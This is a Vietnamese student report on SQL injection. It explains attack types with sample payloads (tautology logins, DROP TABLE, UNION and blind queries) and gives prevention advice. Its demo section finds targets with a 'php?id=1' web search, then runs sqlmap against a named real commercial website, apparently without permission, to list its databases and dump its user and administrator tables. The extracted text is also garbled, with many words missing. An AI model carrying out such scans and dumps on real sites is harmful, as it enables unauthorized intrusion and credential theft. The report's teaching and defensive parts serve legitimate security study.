Tan cong SQL ịnection

24 52 0
  • Loading ...
1/24 trang

Thông tin tài liệu

Ngày đăng: 10/05/2019, 16:38

LỜI MỞ ĐẦU Với bùng nổ internet kèm theo phát triển World Wide Web năm gần Các doanh nghiệp, cá nhân, phủ phát trang web hay ứng dụng web cung cấp đầy đủ giải pháp hiệu quả, đáng tin cậy giải thách thức giao tiếp tiến hành thương mại hóa kỷ XX Tuy nhiên, an toàn trang web hay ứng dụng web trở nên ngày quan trọng thập kỷ qua Ngày nay, trang web giáo dục, y tế, tài hay liệu nhạy cảm phải đối mặt với nhiều nguy bị công từ hacker Tại Việt Nam năm vừa qua có nhiều công nhắm vào tổ chức lớn gây thiệt hại nhiều cho doanh nghiệp, tổ chức Nổi bật công vào trang chủ VietnamAirlines nhóm hacker có tên 1937CN từ Trung Quốc gây ý nhiều dư luận Nhiều lỗ hổng trang web không kiểm tra kỹ để điều khiển ứng dụng trang web nguyên nhân để hacker dựa vào để công SQL Injection dạng công phổ biến sử dụng Ngồi có số dạng công khác như: Shell Injection, Script language injection, file inclusion, XML injection, XPATH injection SQL Injection dạng công nghệ công vào sở liệu trang web Với việc lợi dụng lỗ hỗng câu lệnh truy vấn, hacker thêm vào số câu lệnh truy vấn SQL để lấy liệu chiếm quyền truy cập để thay đổi liệu MỤC LỤC LỜI MỞ ĐẦU DANH MỤC HÌNH VẼ CHƯƠNG 1: TỔNG QUAN VỀ ĐỀ TÀI 1.1 LÝ DO CHỌN ĐỀ TÀI .4 1.2 PHẠM VI NGHIÊN CỨU CHƯƠNG 2: TỔNG QUAN VỀ SQL INJECTION 2.1 TỔNG QUAN VỀ ỨNG DỤNG WEB .5 2.1.1 Tổng quan trình hoạt động ứng dụng web .5 2.1.2 Các vần đề liên quan đến ứng dụng web 2.1.3 Thực trạng công web sql Injection .6 2.2 TỔNG QUAN VỀ SQL INJECTION 2.2.1 Khái niệm SQL Injection .7 2.2.2 Các mối đe dọa từ SQL Injection 2.2.3 Các dạng lỗi thường gặp 10 CHƯƠNG 3: CÁC DẠNG TẤN CÔNG VÀ BIỆN PHÁP NGĂN CHẶN SQL INJECTION .10 3.1 CÁC DẠNG TẤN CÔNG SQL INJECTION 10 3.1.1 System Stored Procedure (Hệ thống thủ tục lưu trữ) 10 3.1.2 Illegal/Logically Incorrect Query (Lệnh truy vấn bất hợp pháp hay không logic) 10 3.1.3 Tautology (Tấn công mệnh đề đúng) .11 3.1.4 Union Query 12 3.1.5 Blind SQL Injection .12 3.2 DEMO TẤN CÔNG SQL INJECTION 13 3.2.1 Các công cụ cần thiết 13 3.2.2 Các bước công kết 15 3.3 CÁC BIỆN PHÁP NGĂN CHẶN SQL INJECTION 19 3.3.1 Đối với website (dành cho lập trình viên) .19 3.3.2 Đối với web server (dành cho quản trị mạng) 20 3.3.3 Đối với database server (dành cho quản trị mạng) 20 3.3.4 Hạn chế bị phát lỗi 20 3.3.5 Phòng chống từ bên ngồi 21 3.3.6 Cải thiện liệu nhập vào .21 3.3.7 Một số công cụ quét kiểm tra lỗi SQL Injection hiệu 22 CHƯƠNG : KẾT LUẬN 23 TÀI LIỆU THAM KHẢO .24 DANH MỤC HÌNH VẼ Hình 3.1 Cấu trúc sở liệu đơn giản 14 Hình 3.2 Giải nén github sqlmap-master 15 Hình 3.3 Tìm kiếm mục tiêu cơng 15 Hình 3.4 Trang web mục tiêu công .16 Hình 3.5 Kết trả tên sở liệu 16 Hình 3.6 Tên bảng có sở liệu 17 Hình 3.7 Kết truy vấn bảng "user" 18 Hình 3.8 Kết truy vấn bảng "administrator " 18 CHƯƠNG 1: TỔNG QUAN VỀ ĐỀ TÀI 1.1 LÝ DO CHỌN ĐỀ TÀI Ngày nhiều trang web hay ứng dụng web cho phép người dùng truy cập xem thông tin từ sở liệu thông qua internet Các sở liệu hầu hết khơng bảo vệ thích hợp dễ bị khai thác trước công kiểu SQL Injection Câu lệnh SQL loại ngôn ngữ truy vấn dung để truy câp thay đổi thông tin sở liệu website Một số câu lệnh phổ biến thêm, chèn, xóa sửa Nếu trang web khơng bảo vệ thích hợp xác, người dùng truy cập vào trang web lợi dụng để viết lại số câu lệnh SQL làm liệu hay phá hủy sở liệu trang web Với mục đích tìm hiểu nghiên cứu để hiểu rõ cách mà hacker công vào trang web chứa lỗi bảo mật sở liệu đồng thời đưa giải pháp để ngăn chặn công 1.2 PHẠM VI NGHIÊN CỨU Trong đề tài nhóm tập trung nghiên cứu phần sau: - Nghiên cứu tổng quan môi trường web, công SQL Injection lỗ hổng để khai thác công SQL Injection - Nghiên cứu q trình cơng trang web kiểu công SQL Injection - Thực công ttrang web thực tế sử dụng github - Nghiên cứu cách ngăn chặn công vào sở liệu trang web - Đưa các giải pháp hiệu để đối phó với cơng vào trang web CHƯƠNG 2: TỔNG QUAN VỀ SQL INJECTION 2.1 TỔNG QUAN VỀ ỨNG DỤNG WEB 2.1.1 Tổng quan trình hoạt động ứng dụng web Một ứng dụng web chương trình phần mềm cho phép người dùng truy cập thơng qua trình duyệt web Các ứng dụng web truy cập thơng qua trình duyệt web (IE, Firefox, Chrome, ) Người dùng truy cập ứng dụng từ máy tính mạng Thời gian đáp ứng phản hồi phụ thuộc vào tốc độ kết nối Bước 1: Người dùng gửi yêu cầu truy cập thơng qua trình duyệt web từ Internet đến máy chủ web Bước 2: Máy chủ web chấp nhận yêu cầu chuyển tiếp yêu cầu người dùng áp dụng yêu cầu cho ứng dụng Bước 3: Máy chủ web thực nhiệm vụ yêu cầu Bước 4: Các ứng dụng web kết nối đến sở liệu có sẵn trả kết cho web server Bước 5: Máy chủ web trả kết cho người dùng q trình hồn tất Bước 6: Cuối thông tin mà người dùng yêu cầu xuất hình người dùng Các ứng dụng web truy cập hình thức GET POST từ URL Cookie, thông qua logic lập trình viên thơng tin cần lấy gửi đến sở liệu trả kết theo yêu cầu người dùng Không may có số u cầu khơng hợp lệ vấn trả kết lấy từ sở liệu từ làm cho trang web dễ bị công dạng SQL Injection Những kẻ công lợi dụng lỗ hổng để lấy thông tin cần thiết sở liệu, lấy tài liệu nhạy cảm, xóa bỏ hay phá hủy liệu quan trọng, hay thực công DoS làm giới hạn số người sử dụng 2.1.2 Các vần đề liên quan đến ứng dụng web Có số yếu tố làm cho ứng dụng web khơng bảo vệ an tồn Thứ nhất, nhiều ứng dụng viết thời điểm mà yếu tố bảo mật chưa đặt lên hàng đầu Điều làm cho công SQL Injection diễn dễ dàng Trong thời điểm thảo luận lỗ hổng SQL Injection diễn với tần suất thấp hầu hết nhà phát triển không nhận thức mối nguy hiểm Ngoài ra, hầu hết ứng dụng web viết tương tác trực tiếp với sở liệu web mà không cần thông qua biện pháp mã hóa hay xác thực Một dự án nghiên cứu X-Force IBM gần phát 47% lỗ hổng bảo mật website liên quan đến ứng dụng web Cross-Site Scripting & SQL Injection tiếp tục thống trị công số lựa chọn khác.Vấn đề thực lớn nhiều, theo Neira Jones, người đứng đầu toán an ninh cho ngân hàng Barclays, 97% vi phạm liệu tồn giới SQL thêm vào câu lệnh lúc gửi yêu cầu đến máy chủ Một số nguyên nhân dẫn đến đa dạng lỗ hổng bảo mật web nay: - Người lập trình tự phát triển ứng dụng Web (Sử dụng ngôn ngữ kịch để tạo ứng dụng, phát triển rộng rãi mà quan tâm đến q trình phát triển ứng dụng an tồn Thiếu đội ngũ lập trình với kỹ nhận biết phát triển ứng dụng tránh lỗi bảo mật) - Sử dụng ứng dụng Web từ mã nguồn mở (Thường không theo dõi cập nhật vá lỗi bảo mật) - Phát triển ứng dụng Web từ ứng dụng mở khác (Trường hợp thường không kiểm tra lỗi bảo mật ứng dụng củ trước phát triển tiếp, nên tồn lỗi bảo mật) 2.1.3 Thực trạng công web sql Injection Số lượng vụ công nhằm vào sở liệu (CSDL) web lên tới số kỷ lục năm 2006 mà tin tặc thấy "một hũ mật ngọt" thơng tin tài cá nhân người dùng Hãng bảo mật SecureWorks cho biết phát tới 8.000 vụ công lên sở liệu ngày Như vậy, số tăng thêm trung bình từ 100 đến 200 vụ cơng ngày so với số tháng đầu năm 2006 Một vụ công SQL Injection tiếng vụ cơng vào CardSystems Solutions - hãng chuyên lưu trữ có sở liệu tốn thẻ tín dụng Tin tặc sử dụng giải pháp công SQL Injection để chiếm quyền điều khiển hệ thống sở liệu CardSystems chuyển toàn sở liệu Đã có khoảng 40 triệu thẻ tín dụng rơi vào tay chúng gây thiệt hại hàng triệu USD Rất nhiều ơng lớn bị dính– Sony, Microsoft UK Mọi vụ lùm xùm liên quan tới “lộ liệu người dùng” nhiều dính dáng tới SQL Injection 2.2 TỔNG QUAN VỀ SQL INJECTION 2.2.1 Khái niệm SQL Injection SQL injection kỹ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu đầu vào ứng dụng web thông báo lỗi hệ quản trị sở liệu trả để inject (tiêm vào) thi hành câu lệnh SQL bất hợp pháp SQL injection cho phép kẻ cơng thực thao tác, delete, insert, update, v.v sở liệu ứng dụng, chí server mà ứng dụng chạy SQL injection thường biết đến vật trung gian công ứng dụng web có liệu quản lý hệ quản trị sở liệu SQL Server, MySQL ,Oracle, DB2, Sysbase SQL Injection kiểu hack web cách inject mã SQL query/ command vào input trước chuyển cho ứng dụng web xử lí, bạn login mà không cần username password, remote execution (thực thi từ xa), dump data lấy root SQL server Cơng cụ dùng để cơng trình duyệt web bất kì, chẳng hạn Internet Explorer, Netscape, Lynx, 2.2.2 Các mối đe dọa từ SQL Injection Các mối đe dọa SQL Injection: - Snoofing identity (Mạo danh): Những kẻ công mạo danh email trang web tổ chức để đánh lừa người dùng - Changing prices (Thay đổi giá): Một số vấn đề SQL Injection thay đổi liệu Ở đây, kẻ công thay đổi giá trang mua sắm trực tuyến để mua sản phẩm với giá rẻ - Tamper with database records (Xáo trộn hồ sơ sở liệu): Cơ sở liệu hồn tồn bị hư hại; chí có khả bị thay hồn tồn chí bị xóa hết liệu - Escalation of privileges (Leo thang đặc quyền): Một hệ thống bị công, kẻ công tìm kiếm đặc quyền truy cập cao thành viên quản trị để chiếm quyền truy cập vào hệ thống vào mạng nội - Denial-of-service on the server (Từ chối dịch vụ từ máy chủ): Từ chối dịch vụ từ máy chủ dạng công mà người dùng truy cập vào hệ thống Ngày nhiều yêu cầu gửi đến máy chủ mà sử lý Điều dẫn đến tạm ngưng dịch vụ máy chủ - Complete disclosure of all the data on the system (Lộ tất thông tin liệu hệ thống): Một hệ thống bị cơng liệu quan trọng bí mật như: số thẻ tín dụng, chi tiết nhân viên hồ sơ tài chính,…v.v bị tiết lộ - Destruction of data (Phá hủy liệu): Những kẻ công sau chiếm hoàn toàn quyền hệ thống phá hủy hoàn toàn liệu, kết làm tổn thất lớn cho công ty - Voiding system's critical transaction (Tránh giao dịch quan trọng hệ thống): Những kẻ cơng vận hành hệ thống tránh tất giao dịch - Modifying the records (Thay đổi hồ sơ): Kẻ cơng sửa đổi liệu sở liệu công ty, gây trở ngại lớn cho hệ thống quản lý sở liệu công ty 2.2.3 Các dạng lỗi thường gặp - Khơng kiểm tra ký tự truy vấn Đây dạng lỗi SQL injection xảy thiếu đoạn mã kiểm tra liệu đầu vào câu truy vấn SQL Kết người dùng cuối thực số truy vấn không mong muốn sở liệu ứng dụng Dòng mã sau minh họa lỗi này: statement = "SELECT * FROM users WHERE name = '" + userName + "';" Câu lệnh thiết kế để trả ghi tên người dùng cụ thể từ bảng người dùng Tuy nhiên, biến "userName" nhập xác theo cách người dùng ác ý, trở thành câu truy vấn SQL với mục đích khác hẳn so với mong muốn tác giả đoạn mã Ví dụ, ta nhập vào giá trị biến userName sau: a' or 't'='t Khiến câu truy vấn hiểu sau: SELECT * FROM users WHERE name = 'a' or 't'='t'; Nếu đoạn mã sử dụng thủ tục xác thực ví dụ sử dụng để bắt buộc lựa chọn tên người dùng hợp lệ 't'='t' Trong hầu hết SQL server cho phép thực nhiều truy vấn lúc với lần gọi, nhiên số SQL API mysql_query php lại khơng cho phép điều lý bảo mật Điều ngăn cản tin tặc công cách sử dụng câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi từ cú pháp truy vấn Các giá trị biến "userName" câu truy vấn gây việc xoá người dùng từ bảng người dùng tương tự việc xóa tất liệu từ bảng liệu (về chất tiết lộ thông tin người dùng), ví dụ minh họa API cho phép thực nhiều truy vấn lúc: a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't Điều đưa tới cú pháp cuối câu truy vấn sau: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't'; - Xử lý không kiểu Lỗi SQL injection dạng thường xảy lập trình viên hay người dùng định nghĩa đầu vào liệu không rõ ràng thiếu bước kiểm tra lọc kiểu liệu đầu vào Điều xảy trường số sử dụng truy vấn SQL lập trình viên lại thiếu bước kiểm tra liệu đầu vào để xác minh kiểu liệu mà người dùng nhập vào có phải số hay khơng Ví dụ sau: statement:= "SELECT * FROM data WHERE id = " + a_variable + ";" Ta nhận thấy cách rõ ràng ý định tác giả đoạn mã nhập vào số tương ứng với trường id - trường số Tuy nhiên, người dùng cuối, thay nhập vào số, họ nhập vào chuỗi ký tự, trở thành câu truy vấn SQL hồn chỉnh mà bỏ qua ký tự Ví dụ, ta thiết lập giá trị biến a_variable là: 1;DROP TABLE users đó, thực thao tác xóa người dùng có id tương ứng khỏi sở liệu, câu truy vấn hồn chỉnh hiểu là: SELECT * FROM data WHERE id=1;DROP TABLE users; - Lỗi bảo mật bên máy chủ sở liệu Đơi lỗ hổng tồn phần mềm máy chủ sở liệu, trường hợp hàm mysql_real_escape_string() máy chủ MySQL Điều cho phép kẻ cơng thực cơng SQL injection thành công dựa ký tự Unicode không thông thường đầu nhập vào thốt.Chữ đậm CHƯƠNG 3: CÁC DẠNG TẤN CƠNG VÀ BIỆN PHÁP NGĂN CHẶN SQL INJECTION 3.1 CÁC DẠNG TẤN CÔNG SQL INJECTION 3.1.1 System Stored Procedure (Hệ thống thủ tục lưu trữ) Những kẻ công cố gắng khai thác thủ tục lưu trữ liệu hệ thống Sau xác định loại sở liệu sử dụng kiến thức để xác định thủ tục lưu trữ tồn Tấn công vào thủ tục lưu trữ kẻ cơng tạo lỗi tràn đệm, leo thang đặc quyền chiếm quyền truy cập vào hệ điều hành 3.1.2 Illegal/Logically Incorrect Query (Lệnh truy vấn bất hợp pháp hay không logic) Trong loại công này, kẻ công cố gắng thu thập đầy đủ thông tin cấu trúc back-end sở liệu trang web Những kẻ công gửi câu lệnh truy vấn SQL không hợp lệ không logic đến sở liệu trang web, số 10 máy chủ trả thông báo lỗi mặc định kẻ cơng lợi dụng điểm yếu Từ việc khai thác thông báo lỗi mặc định kẻ cơng khai thác số bảng, số cột, sở liệu Có nhiều cách để gửi lệnh truy vấn không hợp lệ hay bất hợp pháp như: thêm kí tự (‘) vào cuối câu lệnh truy vấn, sử dụng toán tử AND để thực câu lệnh sai logic, sử dụng order by hay mệnh đề having để máy chủ trả thông báo lỗi 3.1.3 Tautology (Tấn công mệnh đề đúng) Các công hoạt động cách thêm vào mệnh đề WHERE câu lệnh truy vấn tuyên bố ln Với dạng cơng tin tặc dễ dàng vượt qua trang đăng nhập nhờ vào lỗi dùng câu lệnh SQL thao tác sở liệu ứng dụng web Thông thường phép người dùng truy cập vào trang web bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin tên đăng nhập mật Sau người dùng nhập thông tin vào, hệ thống kiểm tra tên đăng nhập mật có hợp lệ hay không để định cho phép hay từ chối thực tiếp Xét đoạn code php sau: $uname=$_POST['uname']; $passwrd=$_POST['passwrd']; $query="select username,pass from users where username='$uname' and password='$passwrd'"; $result=mysql_query($query); Thử tài khoản đăng nhập mật bằng: 'or ''=', cầu truy vấn thành câu sau: select username,pass from users where username='' or ''='' and password='' or ''='' Do mệnh đề nên dễ dàng đăng nhập tài khoản 11 3.1.4 Union Query Cuộc công dạng thực cách thêm vào tham số hình thức có dạng: ‘UNION SELECT ’ Lúc này, câu truy vấn đầu khơng thành cơng, chương trình thực thêm lệnh sau từ khóa UNION Những kẻ cơng xóa tồn sở liệu cách chèn vào đoạn lệnh nguy hiểm DROP TABLE Ví dụ :’DROP TABLE_AUTHORS-’ Để biết ứng dụng web bị lỗi dạng nhập vào chuỗi (*) sau: ‘UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE’’=’ (*) Nếu hệ thống báo lỗi cú pháp dạng : Invalid object name” OtherTable”; ta biết hệ thống thực câu SELECT sau từ khóa UNION, trả lỗi mà ta cố tình tạo câu lệnh SELECT Trong SQL Server, có hai đối tượng sysobjects syscolumns cho phép liệt kê tất tên bảng cột có hệ thống Để biết tên bảng liệu mà thực thao tác phá hoại ứng dụng web bị lỗi SQL injection Ta cần chỉnh lại câu lệnh SELECT: ‘UNION SELECT name FROM sysobjects WHERE xtype=’U’ liệt kê tất bảng liệu 3.1.5 Blind SQL Injection Lỗi SQL injection dạng dạng lỗi tồn ứng dụng web hậu chúng lại không hiển thị trực quan cho kẻ cơng Nó gây sai khác hiển thị nội dung trang chứa lỗi bảo mật này, hậu công SQL injection dạng khiến cho lập trình viên hay người dùng phải nhiều thời gian để phục hồi xác bit liệu Những kẻ cơng sử dụng số cơng cụ để dò tìm lỗi dạng công với thông tin thiết lập sẵn 12 Thay đổi giá trị điều kiện truy vấn Dạng lỗi khiến cho kẻ công thay đổi giá trị điều kiện câu truy vấn, làm sai lệch hiển thị ứng dụng chứa lỗi SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=1; Sẽ hiển thị trang cách bình thường, khi: SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=2; hiển thị nội dung khác, khơng hiển thị ứng dụng web có chứa lỗi SQL injection dạng Lỗ hổng dạng cho phép tin tặc khơng gây ảnh hưởng tới bảng hay liệu mà ảnh hưởng tới liệu hay bảng khác phụ thuộc vào nội dung liệu hay bảng Điều kiện lỗi Lỗi SQL injection dạng dẫn tới việc buộc sở liệu phép đánh giá mà giá trị câu lệnh WHERE Ví dụ: SELECT 1/0 from users where username='Ralph'; Phép chia cho đánh giá lỗi mà người dùng có tên "Ralph" tồn sở liệu Thời gian trễ Lỗi SQL injection dạng tồn thời gian xử lý hay nhiều truy vấn SQL phụ thuộc vào liệu logic nhập vào trình xử lý truy vấn SQL engine cần nhiều thời gian Tin tặc sử dụng lỗi SQL injection dạng để xác định thời gian xác mà trang cần tải giá trị nhập vào 3.2 DEMO TẤN CƠNG SQL INJECTION 3.2.1 Các cơng cụ cần thiết Giới thiệu cấu trúc sở liệu: 13 Hình 3.1 Cấu trúc sở liệu đơn giản -Cơ sở liệu ó cấu trúc hình với thành phần: • Database : Ví dụ "iot15h", "mysql" chứa bảng liệu(tables) • Table : Ví dụ "dht11" , "func", "columns_priv" chứa hàng cột liệu • Columns : Ví dụ "TEMP"," HUM" cột liệu - CSDL có nhiệm vụ lưu trữ trích xuất liệu phục vụ cho việc truy vấn lên server - Tải Github https://github.com/sqlmapproject/sqlmap phục vụ cho việc công 14 3.2.2 Các bước công kết B1 Sau tải github vài giải nén ta có thư mục: Hình 3.2 Giải nén github sqlmap-master B2 Tìm kiếm số trang web có nguy bị lỗi với từ khóa : php?id=1 Hình 3.3 Tìm kiếm mục tiêu cơng B3 Lựa chọn mục tiêu: VD: " http://www.nhuaphucthinh.com.vn/product.php?id=20 " Mục tiêu: 15 Hình 3.4 Trang web mục tiêu cơng B4 Mở cmd lên thư mục sqlmap-master/ thực lệnh: python sqlmap.py –u " http://www.nhuaphucthinh.com.vn/product.php?id=20 " "-u" theo sau đường dẫn Lệnh để kiểm tra url có dính lỗi sqli khơng B5 Sau phát trang web dính lỗi ta thực truy vấn tên database với câu lệnh: python sqlmap.py –u " http://www.nhuaphucthinh.com.vn/product.php?id=20 " dbs Kết trả về: 16 Hình 3.5 Kết trả tên sở liệu Ta nhận hai database: " information_schema " " nhuaphucth_inh " B6 Sau có tên database ta chọn database để thực truy vấn: ví dụ ta chọn database:" nhuaphucth_inh " thực truy vấn bảng database câu lệnh: python sqlmap.py -u " http://www.nhuaphucthinh.com.vn/product.php?id=20 " tables -D nhuaphucth_inh Kết trả về: Hình 3.6 Tên bảng có sở liệu Trên tên table chứa liệu database:" user ", " doi tac ", " product ", B7 Để xem thông tin bảng ta thực lệnh: python sqlmap.py -u " http://www.nhuaphucthinh.com.vn/product.php?id=20 " dump –D nhuaphucth_inh -T "tên bảng" 17 Kết trả với tên bảng = "user": Hình 3.7 Kết truy vấn bảng "user" Hình 3.8 Kết truy vấn bảng "administrator " 18 3.3 CÁC BIỆN PHÁP NGĂN CHẶN SQL INJECTION Trong hầu hết trình duyệt, kí tự nên mã hóa địa URL trước sử dụng Việc công theo SQL Injection dựa vào câu thông báo lỗi việc phòng chống hay không cho hiển thị thông điệp lỗi cho người dùng cách thay lỗi thông báo trang người phát triển thiết kế lỗi xảy ứng dụng Kiểm tra kĩ liệu nhập vào thay kí tự :  Đối với giá trị numeric, chuyển sang Interger trước thực câu truy vấn SQL, dùng ISNUMERIC để chắn Interger  Dùng thuật tốn mã hóa liệu  Lọc bỏ ký tự từ khóa nguy hiểm như: , select , where , drop, shutdown …  Như vậy, thấy lỗi SQL injection khai thác bất cẩn lập trình viên phát triển ứng dụng web xữ lí liệu nhập vào để xây dựng câu lệnh SQL Tác hại từ lỗi SQL injection tùy thuộc vào môi trường cách cấu hình hệ thống Nếu ứng dụng sử dụng quyền dbo(quyền người sở hữu sỡ liệu owner) thao tác liệu, xóa toàn bảng liệu, tạo bảng liệu mới,…Nếu ứng dụng sử dụng quyền sa(quyền quản trị hệ thống), điều khiển tồn hệ quản trị sỡ liệu với quyền hạn rộng lớn tạo tài khoản người dùng bất hợp pháp để điều khiển hệ thống bạn Để phòng tránh, ta thực hai mức 3.3.1 Đối với website (dành cho lập trình viên): Cần kiểm tra tính đắn tất liệu đầu vào Dữ liệu đầu vào không tham số, mà bao gồm cookie, user agent, referer … Việc kiểm tra tính đắn liệu dựa phương pháp sau: - Kiểm tra dựa vào kiểu liệu (số, ngày tháng …) - Kiểm tra, giới hạn độ dài đầu vào - -Loại bỏ ký tự đặc biệt như: ‘ % ” ? # @ & … 19 - -Loại bỏ từ đặc biệt: select, drop, delete, information_schemal, insert, union, xp_ … 3.3.2 Đối với web server (dành cho quản trị mạng): Hầu hết máy chủ web (web server) có module hỗ trợ việc phòng chống SQL Injection, ví dụ: Apache có modsecurity, IIS có URLScan Bạn cần bật tính cấu hình cho phù hợp Nếu website bạn dạng trang tin tức phù hợp để triển khai Trong số trường hợp khác, module chặn nhầm, dẫn tới website hoạt động khơng xác 3.3.3 Đối với database server (dành cho quản trị mạng): Bạn cần thực việc cấu hình phân quyền chặt chẽ tài khoản Khi đó, dù tồn lỗi SQL Injection, thiệt hại hạn chế Ngoài ra, bạn cần loại bỏ bảng, thành phần tài khoản không cần thiết hệ thống 3.3.4 Hạn chế bị phát lỗi Attacker dựa vào lỗi lập trình ứng dụng để cơng cụ thể attacker dựa vào dấu hiệu để phát ứng dụng bị lỗi Vậy việc làm cho dấu hiệu bị che đi, trở nên khó hiểu hơn, biến mất…được hầu hết chuyên gia bảo mật sử dụng Lưu ý kĩ thuật dùng để dấu lỗi, lỗi ứng dụng đó, để chống lại phát dễ dàng lỗi để kẻ xấu khai thác Nhưng attacker khôn khéo nhìn thấu kiểu phòng chống Nó tránh công đơn giản thêm dấu ‘(dấu nháy) vào cuối đường dẫn Vì phương pháp tìm kiếm ứng dụng bị lỗi công dựa vào dấu hiệu trả ứng dụng trực tiếp từ database Ta đưa thông báo chung chung định hướng trở lại trang ban đầu(redirect) Trong trường hợp này, cơng việc tìm kiếm lỗi xác định mục tiêu trở nên cực khó attacker 20 Tuy nhiên attacker tạo cơng nghệ tìm kiếm lỗi tinh vi hơn, tốt hơn, để gián tiếp xác định dấu hiệu trả Tấn cơng kiểu gọi “Blind SQL Injection” 3.3.5 Phòng chống từ bên ngồi Giải pháp dùng tường lửa đặc biệt để bảo vệ bạn khỏi ứng dụng dùng việc truy cập database với mục đích xấu Chúng ta cần lưu ý attacker tương tác với ứng dụng web thơng qua trình duyệt với kết nối từ xa Sau đó, ứng dụng gởi yêu cầu đến database Như ngăn chặn công attacker với ứng dụng, ứng dụng với database thân database Những lọc, qt điểu khiển truy cập sở liệu làm cho ứng dụng web khó bị cơng 3.3.6 Cải thiện liệu nhập vào Cách phòng chống thực để chống lại SQL Injection kiểm tra làm câu truy vấn Như đề cập, lỗi ứng dụng không kiểm tra liệu nhập vào người dùng Do người dùng thay đổi, chỉnh sửa, tham số thêm thực thể truy vấn vào câu lệnh Vì liệu nhập người dùng cần theo dõi có ràng buộc định Thứ nhất, ứng dụng cần phân loại kiểu liệu nhập vào Ví dụ, ứng dụng yêu cầu liệu nhập vào kiểu số ứng dụng nhận liệu nhập vào khơng nên chấp nhận kiểu khác ngoại trừ kiểu số Một số hàm kiểm tra PHP: is_numeric($str) : kiểm tra $str có phải kiểu số hay khơng is_int($str) :kiểm tra kiểu interger is_float($str) :kiểm tra kiểu số thực … Thứ 2, liệu nhập vào không rõ kiểu phải xác định kiểu khơng phép gọi Trong trường hợp phải lọc dấu nháy, lệnh, kí tự đặc biệt Một vài việc lọc liệu thực tồn ứng dụng( 21 khơng lưu liệu có dấu ‘ vào sở liệu) vài kiểu liệu nhập vào( khơng có dấu “,” địa mail).VD: Trong viết sở liệu hướng ứng dụng, hay triển khai ứng dụng mã nguồn mở cần ý đến vấn đề thiết kế để xác minh đầu vào Biện pháp giúp bảo vệ bạn từ công SQL Injection không trở thành mồi ngon cho attacker Hiểu biết cách phòng chống quan trọng bạn triển khai ứng dụng thương mại Chỉ cần nhớ nhà phát triển có khả vướng lỗi lập trình bạn phải thực bước để sửa lỗi Và cần làm điều chưa có lỗ hổng cơng khai cho ứng dụng 3.3.7 Một số cơng cụ quét kiểm tra lỗi SQL Injection hiệu Acunetix Web Vulnerability Scanner:Một phiên thương mại chương trình tìm kiếm lỗ hổng bảo mật ứng dụng Web Acunetix WVS tự động kiểm tra ứng dụng Web để tìm kiếm lỗ hổng bảo mật SQL Injection, hay Cross-Site Scripting, tìm kiếm sách mật đăng nhập phương thức xác thực vào Web Site Với giao diện đồ họa thân thiện, Report đầy đủ cho phép bạn kiểm tra vấn đề máy chủ ứng dụng Web Để tìm hiểu rỏ bạn truy cập vào: http:// www.acunetix.com/vulnerability-scanner/ N-Stealth: Là phiên thương mại, ứng dụng cho việc tìm kiếm lỗ hổng bảo mật máy chủ Web Phần mềm tự động update thường xuyên phần mềm miễn phí Whisker/libwhisker hay Nikto, nhiều lỗi Web không phát kịp thời nhanh chóng Phần mềm bao gồm 30.000 lỗ hổng Scan khai thác trực tiếp, với hàng tá cập nhật hàng ngày Dễ dàng triển khai kết hợp với Scan lỗ hổng bảo mật như: SQL Injection, Nessus, ISS Internet Scanner, Retina, SAINT Sara, bao gồm tính khác N-sealth phiên dành riêng cho Windows download Source Trang chủ: http://www.nstalker.com/products/ 22 CHƯƠNG 4: KẾT LUẬN An ninh mạng phương pháp công Internet phát triển nhanh chóng, ngày hoạt động phức tạp quy mô , làm tổn hại tạo nhìn “khơng tích cực” cho ứng dụng mạnh mẽ Internet , gây tổn thất nghiêm trọng ứng dụng hoạt động Internet Đối với SQL Injection, phương pháp công phổ biến nay, Hackers sử dụng nhiều để công trang website Báo cáo nêu hình thức cơng phổ biến SQL Injection Đưa vấn đề thực tế phương pháp phòng chống hiệu Tuy nhiên, qua thời gian nghiên cứu đề tài kết hợp với kiến thức học nhà trường giúp em tìm hiểu khía cạnh vấn đề Song thời gian trình độ có hạn nên chắn báo cáo nhóm em khơng tránh khỏi thiếu sót Rất mong nhận quan tâm đóng góp ý kiến bảo thầy Xin chân thành cảm ơn ! 23 TÀI LIỆU THAM KHẢO [1] E.H.a.Countermeasures,CEHv8 Module 14 SQL Injection, Copyright © by ECC0UnCil [2] https://zenodo.org/record/56935/files/23.pdf [3] "Detecting SQL Injection Attacks - DB Networks," DB Networks, [Online] [4] T WORLD, "Barclays: 97 percent of data breaches still due to SQL injection," [Online] LINK tham khảo: - https://vi.wikipedia.org/wiki/SQL_injection - http://www.dbnetworks.com/pdf/sql-injection-detection-web-environment.pdf -http://www.techworld.com/news/security/barclays-97-percent-of-databreaches-still-due -sql-injection-3331283/ - https://khoahoc.tvsqlinjectionlapkyluctancongcsdl7203fbclid=IwAR3x4ulw0w9q7rq24 U9vNjahM4mZasAnkxigB5indJLBu6UQVwlwXN5Li7U -https://toidicodedao.com/2016/11/15/lo-hong-sql-injection-than-thanh/fbclid=IwAR3pd AHCFH9cVRjFQmdUeZoN5hTJVu-mlJEOQvzxfsICFeffg5LdMR8oHag 24 ... 2.1.3 Thực trạng công web sql Injection .6 2.2 TỔNG QUAN VỀ SQL INJECTION 2.2.1 Khái niệm SQL Injection .7 2.2.2 Các mối đe dọa từ SQL Injection 2.2.3... xùm liên quan tới “lộ liệu người dùng” nhiều dính dáng tới SQL Injection 2.2 TỔNG QUAN VỀ SQL INJECTION 2.2.1 Khái niệm SQL Injection SQL injection kỹ thuật cho phép kẻ công lợi dụng lỗ hổng việc... cơng ứng dụng web có liệu quản lý hệ quản trị sở liệu SQL Server, MySQL ,Oracle, DB2, Sysbase SQL Injection kiểu hack web cách inject mã SQL query/ command vào input trước chuyển cho ứng dụng
- Xem thêm -

